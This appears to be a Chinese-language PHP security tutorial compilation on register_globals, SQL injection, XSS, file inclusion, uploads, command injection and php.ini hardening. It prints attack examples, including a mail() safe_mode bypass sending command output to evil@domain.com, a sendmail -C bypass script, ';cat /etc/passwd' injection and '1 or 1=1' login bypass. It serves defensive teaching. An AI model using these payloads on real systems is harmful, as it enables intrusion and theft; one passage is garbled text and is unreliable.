編寫php的安全策略,php技術網php安全技術

本文目錄一覽：

• 1、怎麼解決php 代碼安全
• 2、如何實現php的安全最大化？怎樣避免sql注入漏洞和xss跨站腳本攻擊漏洞
• 3、編寫php代碼時需要注意些什麼
• 4、php安全配置 如何配置使其更安全
• 5、phpmps程序如何做安全

怎麼解決php 代碼安全

您好，所有網頁的發展的戒律,我不能再壓縮了的話就是:永遠,永遠,相信你的用戶.假定你的網站從使用者收集的每片數據含有惡意代碼. 始終,你認為已經檢查客戶端驗證的這包括數據,例如在JavaScript .如果你能夠達到這個目標,你應該有了一個良好的開端.如果PHP的安全性很重要,這一點就要重要地學習.個人來說，”PHP安全”是一個重大的問題。

2、全局變量

在許多語言,你必須明確地設定一個變量,以使用它. 在PHP中,有一個選項” ,register_globals” ,你可以在php.ini中設置,讓您可以使用全局變量,而不需要事先聲明.

考慮下面的代碼:

if ($password == “my_password”) {

$authorized = 1;

}

if ($authorized == 1) {

echo “Lots of important stuff.”;

}

許多人看上去覺得沒什麼問題; 而事實上,這方面的代碼在整個網站上應用.但是,如果一個服務器開啟”register_globals”。然後,只需添加”?authorized=1″的URL將讓任何人都看到.這是一個最普遍的PHP的安全問題.

所幸的是,這有兩個簡單的解決辦法.第一,也許最好的,就是把”register_globals”關閉.二是你必須明確只有你使用變量.在上面的例子中,這將意味着加入”?authorized=0″; 在腳本的開始:

$authorized = 0;

if ($password == “my_password”) {

$authorized = 1;

}

if ($authorized == 1) {

echo “Lots of important stuff.”;

}

3、錯誤信息

錯誤信息是一個非常有用的工具,無論是程序員和黑客.開發者需要它們去改正錯誤. 黑客可以利用它們來找出一個網站的各種信息,從目錄結構的服務器,數據庫登錄信息.如果可能的話,最好是關閉所有的錯誤報告. PHP可以完成這項工作.htaccess或php.ini,設置”error_reporting” 的值改為”0″ .如果你有一個開發環境,您可以設定不同的錯誤報告級別。

如何實現php的安全最大化？怎樣避免sql注入漏洞和xss跨站腳本攻擊漏洞

使用php安全模式

服務器要做好管理，賬號權限是否合理。

假定所有用戶的輸入都是“惡意”的，防止XSS攻擊，譬如：對用戶的輸入輸出做好必要的過濾

防止CSRF，表單設置隱藏域，post一個隨機字符串到後台，可以有效防止跨站請求偽造。

文件上傳，檢查是否做好效驗，要注意上傳文件存儲目錄權限。

防禦SQL注入。 

避免SQL注入漏洞

1.使用預編譯語句

2.使用安全的存儲過程

3.檢查輸入數據的數據類型

4.從數據庫自身的角度考慮，應該使用最小權限原則，不可使用root或dbowner的身份連接數據庫。若多個應用使用同一個數據庫，也應該為數據庫分配不同的賬戶。web應用使用的數據庫賬戶，不應該有創建自定義函數，操作本地文件的權限。

避免XSS跨站腳本攻擊

1.假定所有用戶輸入都是“邪惡”的

2.考慮周全的正則表達式

3.為cookie設置HttpOnly,防止cookie劫持

4.外部js不一定可靠

5.出去不必要的HTML注釋

6. 針對非法的HTML代碼包括單雙引號等，使用htmlspecialchars()函數。

編寫php代碼時需要注意些什麼

作為PHP程序員，特別是新手，對於互聯網的險惡總是知道的太少，對於外部的入侵有很多時候是素手無策的，他們根本不知道黑客是如何入侵的、提交入侵、上傳漏洞、sql 注入、跨腳本攻擊等等。作為最基本的防範你需要注意你的外部提交，做好第一面安全機制處理防火牆。

規則 1：絕不要信任外部數據或輸入

關於Web應用程序安全性，必須認識到的第一件事是不應該信任外部數據。外部數據(outside data) 包括不是由程序員在PHP代碼中直接輸入的任何數據。在採取措施確保安全之前，來自任何其他來源(比如 GET 變量、表單 POST、數據庫、配置文件、會話變量或Cookie)的任何數據都是不可信任的。

規則 2：禁用那些使安全性難以實施的PHP設置

已經知道了不能信任用戶輸入，還應該知道不應該信任機器上配置 PHP 的方式。例如，要確保禁用 register_globals。如果啟用了 register_globals，就可能做一些粗心的事情，比如使用 $variable 替換同名的 GET 或 POST 字符串。通過禁用這個設置，PHP 強迫您在正確的名稱空間中引用正確的變量。要使用來自表單 POST 的變量，應該引用 $_POST[‘variable’]。這樣就不會將這個特定變量誤會成 cookie、會話或 GET 變量。

規則 3：如果不能理解它，就不能保護它

一些開發人員使用奇怪的語法，或者將語句組織得很緊湊，形成簡短但是含義模糊的代碼。這種方式可能效率高，但是如果您不理解代碼正在做什麼，那麼就無法決定如何保護它。例如，您喜歡下面兩段代碼中的哪一段?

規則 4：“縱深防禦” 是新的法寶

本教程將用示例來說明如何保護在線表單，同時在處理表單的 PHP 代碼中採用必要的措施。同樣，即使使用 PHP regex 來確保 GET 變量完全是數字的，仍然可以採取措施確保 SQL 查詢使用轉義的用戶輸入。縱深防禦不只是一種好思想，它可以確保您不會陷入嚴重的麻煩。既然已經討論了基本規則，現在就來研究第一種威脅：SQL 注入攻擊。

防止SQL注入攻擊

在SQL注入攻擊中，用戶通過操縱表單或 GET 查詢字符串，將信息添加到數據庫查詢中。例如，假設有一個簡單的登錄數據庫。這個數據庫中的每個記錄都有一個用戶名字段和一個密碼字段。構建一個登錄表單，讓用戶能夠登錄。

php安全配置 如何配置使其更安全

一、Web服務器安全

PHP其實不過是Web服務器的一個模塊功能，所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統安全，這樣就扯遠了，無窮無盡。PHP可以和各種Web服務器結合，這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache，這樣即使Apache和PHP及其腳本出現漏洞，受影響的也只有這個禁錮的系統，不會危害實際系統。但是使用chroot的Apache後，給應用也會帶來一定的麻煩，比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接，這在效率上會稍微差一點。還有mail函數發送郵件也是個問題，因為php.ini里的：

[mail function]

; For Win32 only.

SMTP = localhost

; For Win32 only.

sendmail_from = me@localhost.com

都是針對Win32平台，所以需要在chroot環境下調整好sendmail。

二、PHP本身問題

1、遠程溢出

PHP-4.1.2以下的所有版本都存在文件上傳遠程緩衝區溢出漏洞，而且攻擊程序已經廣泛流傳，成功率非常高：

2、遠程拒絕服務

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞，雖然不能獲得本地用戶權限，但是也能造成拒絕服務。

3、safe_mode繞過漏洞

還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞，4.0.5版本開始mail函數增加了第五個參數，由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單，只需用分號隔開後面加shell命令就可以了，比如存在PHP腳本evil.php：

? mail(“foo@bar,”foo”,”bar”,””,$bar); ?

執行如下的URL：

;/usr/bin/id|mail evil@domain.com

這將id執行的結果發送給evil@domain.com。

對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數，所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令：

?

# 注意，下面這兩個必須是不存在的，或者它們的屬主和本腳本的屬主是一樣

$script=”/tmp/script123″;

$cf=”/tmp/cf123″;

$fd = fopen($cf, “w”);

fwrite($fd, “OQ/tmp

Sparse=0

R$*” . chr(9) . “$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script”);

fclose($fd);

$fd = fopen($script, “w”);

fwrite($fd, “rm -f $script $cf; “);

fwrite($fd, $cmd);

fclose($fd);

mail(“nobody”, “”, “”, “”, “-C$cf”);

?

還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本，這樣才能消除基本的安全問題。

三、PHP本身的安全配置

PHP的配置非常靈活，可以通過php.ini, httpd.conf, .htaccess文件（該目錄必須設置了AllowOverride All或Options）進行設置，還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。

如果配置選項是唯一PHP_INI_SYSTEM屬性的，必須通過php.ini和httpd.conf來修改，它們修改的是PHP的Master值，但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web服務器所有腳本生效，httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置，也可以通過在腳本程序自身用ini_set()函數設定，它們修改的是Local值，改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效，ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同，可以用如下命令查找當前源代碼的main.c文件得到所有的選項，以及它的屬性：

# grep PHP_INI_ /PHP_SRC/main/main.c

在討論PHP安全配置之前，應該好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性，必須通過php.ini或httpd.conf來設置。要啟用safe_mode，只需修改php.ini：

safe_mode = On

或者修改httpd.conf，定義目錄：

Directory /var/www

Options FollowSymLinks

php_admin_value safe_mode 1

/Directory

重啟apache後safe_mode就生效了。啟動safe_mode，會對許多PHP函數進行限制，特別是和系統相關的文件打開、命令執行等函數。

所有操作文件的函數將只能操作與腳本UID相同的文件，比如test.php腳本的內容為：

?include(“index.html”)?

幾個文件的屬性如下：

# ls -la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25 .

drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

-rw-r–r– 1 root root 4110 Oct 26 2002 index.html

-rw-r–r– 1 www-data www-data 41 Jul 19 19:14 test.php

在瀏覽器請求test.php會提示如下的錯誤信息：

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目錄的UID和腳本UID一致，那麼該文件的UID即使和腳本不同也可以訪問的，不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途，絕對禁止使用root做為php腳本的屬主，這樣就達不到safe_mode的效果了。

如果想將其放寬到GID比較，則打開 safe_mode_gid可以考慮只比較文件的GID，可以設置如下選項：

safe_mode_gid = On

設置了safe_mode以後，所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序，而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序，可以在php.ini做如下設置：

safe_mode_exec_dir = /usr/local/php/exec

然後拷貝程序到該目錄，那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。

safe_mode_include_dir string

當從此目錄及其子目錄（目錄必須在 include_path 中或者用完整路徑來包含）包含文件時越過 UID/GID 檢查。

從 PHP 4.2.0 開始，本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑，而不只是一個目錄。

指定的限制實際上是一個前綴，而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”，如果它們存在。如果您希望將訪問控制在一個指定的目錄，那麼請在結尾加上一個斜線，例如：“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string

設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變量（例如 PHP_FOO = BAR）。

注: 如果本指令為空，PHP 將使用戶可以修改任何環境變量！

safe_mode_protected_env_vars string

本指令包含有一個逗號分隔的環境變量的列表，最終用戶不能用 putenv() 來改變這些環境變量。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變量。

雖然safe_mode不是萬能的（低版本的PHP可以繞過），但還是強烈建議打開安全模式，在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制，可能對應用帶來影響，所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。

討論完safe_mode後，下面結合程序代碼實際可能出現的問題討論如何通過對PHP服務器端的配置來避免出現的漏洞。

2、變量濫用

PHP默認register_globals = On，對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = “EGPCS”（可以通過php.ini修改），同名變量variables_order右邊的覆蓋左邊，所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變量初始化的習慣，像如下的程序片斷就極易受到攻擊：

?

//test_1.php

if ($pass == “hello”)

$auth = 1;

if ($auth == 1)

echo “some important information”;

else

echo “nothing”;

?

攻擊者只需用如下的請求就能繞過檢查：

這雖然是一個很弱智的錯誤，但一些著名的程序也有犯過這種錯誤，比如phpnuke的遠程文件拷貝漏洞

PHP-4.1.0發布的時候建議關閉register_globals，並提供了7個特殊的數組變量來使用各種變量。對於從GET、POST、COOKIE等來的變量並不會直接註冊成變量，必需通過數組變量來存取。PHP-4.2.0發布的時候，php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值，一般為0，避免了攻擊者控制判斷變量。

解決方法：

配置文件php.ini設置register_globals = Off。

要求程序員對作為判斷的變量在程序最開始初始化一個值。

3、文件打開

極易受攻擊的代碼片斷：

?

//test_2.php

if (!($str = readfile(“$filename”))) {

echo(“Could not open file: $filenameBR\n”);

exit;

}

else {

echo $str;

}

?

由於攻擊者可以指定任意的$filename，攻擊者用如下的請求就可以看到/etc/passwd：

如下請求可以讀php文件本身：

PHP中文件打開函數還有fopen(), file()等，如果對文件名變量檢查不嚴就會造成服務器重要文件被訪問讀取。

解決方法：

如非特殊需要，把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子：

Directory /usr/local/apache/htdocs

php_admin_value open_basedir /usr/local/apache/htdocs

/Directory

重啟apache後，/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了，否則PHP就會報錯：

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問題，前面已經討論過了。

4、包含文件

極易受攻擊的代碼片斷：

?

//test_3.php

if(file_exists($filename))

include(“$filename”);

?

這種不負責任的代碼會造成相當大的危害，攻擊者用如下請求可以得到/etc/passwd文件：

如果對於Unix版的PHP（Win版的PHP不支持遠程打開文件）攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件，的內容是?passthru(“ls /etc”)?，那麼如下的請求就可以在目標主機執行命令ls /etc：

攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼，不過由於干擾信息太多，有時不易成功。

對於另外一種形式，如下代碼片斷：

?

//test_4.php

include(“$lib/config.php”);

?

攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件，然後用如下請求也可以在目標主機執行命令：

PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變量檢查不嚴就會對系統造成嚴重危險，可以遠程執行命令。

解決方法：

要求程序員包含文件里的參數盡量不要使用變量，如果使用變量，就一定要嚴格檢查要包含的文件名，絕對不能由用戶任意指定。

如前面文件打開中限制PHP操作路徑是一個必要的選項。另外，如非特殊需要，一定要關閉PHP的遠程文件打開功能。修改php.ini文件：

allow_url_fopen = Off

重啟apache。

5、文件上傳

php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄（默認是系統的臨時目錄，如：/tmp）里的一個類似phpxXuoXG的隨機臨時文件，程序執行結束，該臨時文件也被刪除。PHP給上傳的文件定義了四個變量：（如form變量名是file，而且register_globals打開）

$file #就是保存到服務器端的臨時文件（如/tmp/phpxXuoXG ）

$file_size #上傳文件的大小

$file_name #上傳文件的原始名稱

$file_type #上傳文件的類型

推薦使用：

$HTTP_POST_FILES[file][tmp_name]

$HTTP_POST_FILES[file][size]

$HTTP_POST_FILES[file][name]

$HTTP_POST_FILES[file][type]

這是一個最簡單的文件上傳代碼：

?

//test_5.php

if(isset($upload) $file != “none”) {

copy($file, “/usr/local/apache/htdocs/upload/”.$file_name);

echo “文件”.$file_name.”上傳成功！點擊a href=\”$PHP_SELF\”繼續上傳/a”;

exit;

}

?

html

head

title文件上傳/title

meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″

/head

body bgcolor=”#FFFFFF”

form enctype=”multipart/form-data” method=”post”

上傳文件:

input type=”file” name=”file” size=”30″

input type=”submit” name=”upload” value=”上傳”

/form

/body

/html

這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。

下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test（注意：這個目錄必須nobody可寫）下的attack.txt文件里：

… ile_name=attack.txt

然後可以用如下請求讀取口令文件：

攻擊者可以把php文件拷貝成其它擴展名，泄漏腳本源代碼。

攻擊者可以自定義form里file_name變量的值，上傳覆蓋任意有寫權限的文件。

攻擊者還可以上傳PHP腳本執行主機的命令。

解決方法：

PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數，可以檢查操作的文件是否是用戶上傳的文件，從而避免把系統文件拷貝到web目錄。

使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變量。

嚴格檢查上傳變量。比如不允許是php腳本文件。

把PHP腳本操作限制在web目錄可以避免程序員使用copy函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini里upload_tmp_dir的值。

把PHP腳本用phpencode進行加密，避免由於copy操作泄漏源碼。

嚴格配置文件和目錄的權限，只允許上傳的目錄能夠讓nobody用戶可寫。

對於上傳目錄去掉PHP解釋功能，可以通過修改httpd.conf實現：

Directory /usr/local/apache/htdocs/upload

php_flag engine off

#如果是php3換成php3_engine off

/Directory

重啟apache，upload目錄的php文件就不能被apache解釋了，即使上傳了php文件也沒有問題，只能直接顯示源碼。

6、命令執行

下面的代碼片斷是從PHPNetToolpack摘出，詳細的描述見：

?

//test_6.php

system(“traceroute $a_query”,$ret_strs);

?

由於程序沒有過濾$a_query變量，所以攻擊者可以用分號來追加執行命令。

攻擊者輸入如下請求可以執行cat /etc/passwd命令：

;cat /etc/passwd

PHP的命令執行函數還有system(), passthru(), popen()和“等。命令執行函數非常危險，慎用。如果要使用一定要嚴格檢查用戶輸入。

解決方法：

要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。

啟用safe_mode可以杜絕很多執行命令的問題，不過要注意PHP的版本一定要是最新的，小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。

7、sql_inject

如下的SQL語句如果未對變量進行處理就會存在問題：

select * from login where user=$user and pass=$pass

攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。

不過幸虧PHP有一個默認的選項magic_quotes_gpc = On，該選項使得從GET, POST, COOKIE來的變量自動加了addslashes()操作。上面SQL語句變成了：

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

從而避免了此類sql_inject攻擊。

對於數字類型的字段，很多程序員會這樣寫：

select * from test where id=$id

由於變量沒有用單引號擴起來，就會造成sql_inject攻擊。幸虧MySQL功能簡單，沒有sqlserver等數據庫有執行命令的SQL語句，而且PHP的mysql_query()函數也只允許執行一條SQL語句，所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯，泄漏系統的一些信息，或者一些意想不到的情況。

解決方法：

要求程序員對所有用戶提交的要放到SQL語句的變量進行過濾。

即使是數字類型的字段，變量也要用單引號擴起來，MySQL自己會把字串處理成數字。

在MySQL里不要給PHP程序高級別權限的用戶，只允許對自己的庫進行操作，這也避免了程序出現問題被 SELECT INTO OUTFILE … 這種攻擊。

8、警告及錯誤信息

PHP默認顯示所有的警告及錯誤信息：

error_reporting = E_ALL ~E_NOTICE

display_errors = On

在平時開發調試時這非常有用，可以根據警告信息馬上找到程序錯誤所在。

正式應用時，警告及錯誤信息讓用戶不知所措，而且給攻擊者泄漏了腳本所在的物理路徑，為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方，反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的，即不給攻擊者泄漏物理路徑，又能讓自己知道程序錯誤所在。

修改php.ini中關於Error handling and logging部分內容：

error_reporting = E_ALL

display_errors = Off

log_errors = On

error_log = /usr/local/apache/logs/php_error.log

然後重啟apache，注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。

9、disable_functions

如果覺得有些函數還有威脅，可以設置php.ini里的disable_functions（這個選項不能在httpd.conf里設置），比如：

disable_functions = phpinfo, get_cfg_var

可以指定多個函數，用逗號分開。重啟apache後，phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var，這兩個函數容易泄漏服務器信息，而且沒有實際用處。

10、disable_classes

這個選項是從PHP-4.3.2開始才有的，它可以禁用某些類，如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置，只能在php.ini配置文件里修改。

11、open_basedir

前面分析例程的時候也多次提到用open_basedir對腳本操作路徑進行限制，這裡再介紹一下它的特性。用open_basedir指定的限制實際上是前綴，不是目錄名。也就是說 “open_basedir = /dir/incl” 也會允許訪問 “/dir/include” 和 “/dir/incls”，如果它們存在的話。如果要將訪問限制在僅為指定的目錄，用斜線結束路徑名。例如：”open_basedir = /dir/incl/”。

可以設置多個目錄，在Windows中，用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時，父目錄中的open_basedir路徑自動被繼承。

四、其它安全配置

1、取消其它用戶對常用、重要系統命令的讀寫執行權限

一般管理員維護只需一個普通用戶和管理用戶，除了這兩個用戶，給其它用戶能夠執行和訪問的東西應該越少越好，所以取消其它用戶對常用、重要系統命令的讀寫執行權限能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的權限也去掉，否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。

如果要取消某程如果是在chroot環境里，這個工作比較容易實現，否則，這項工作還是有些挑戰的。因為取消一些程序的執行權限會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信，所以/bin/bash的執行權限不能去掉。這是一項比較累人的工作，

2、去掉apache日誌其它用戶的讀權限

apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL，可以使access-log包含PHP代碼，那麼把包含文件指向access-log就可以執行那些PHP代碼，從而獲得本地訪問權限。

如果有其它虛擬主機，也應該相應去掉該日誌文件其它用戶的讀權限。

當然，如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。

phpmps程序如何做安全

phpmps程序如何做安全大家都知道安全性是重要的，但是行業中的趨勢是直到最後一刻才添加安全性。既然不可能完全保護 Web 應用程序，那麼為什麼要費這個勁兒呢，不是嗎？不對。只需採用一些簡單的步驟就能夠大大提高 PHP Web 應用程序的安全性。

開始之前

在本教程中，您將學習如何在自己的 PHP Web 應用程序中添加安全性。本教程假設您至少有一年編寫 PHP Web 應用程序的經驗，所以這裡不涉及 PHP 語言的基本知識（約定或語法）。目標是使您了解應該如何保護自己構建的 Web 應用程序。

目標

本教程講解如何防禦最常見的安全威脅：SQL 注入、操縱 GET 和 POST 變量、緩衝區溢出攻擊、跨站點腳本攻擊、瀏覽器內的數據操縱和遠程表單提交。

前提條件

本教程是為至少有一年編程經驗的 PHP 開發人員編寫的。您應該了解 PHP 的語法和約定；這裡不解釋這些內容。有使用其他語言（比如 Ruby、Python 和 Perl）的經驗的開發人員也能夠從本教程中受益，因為這裡討論的許多規則也適用於其他語言和環境。

系統需求

需要一個正在運行 PHP V4 或 V5 和 MySQL 的環境。可以使用 Linux、OS X 或 Microsoft Windows。如果是在 Windows 上，那麼下載 WAMPServer 二進制文件，在機器上安裝 Apache、MySQL 和 PHP。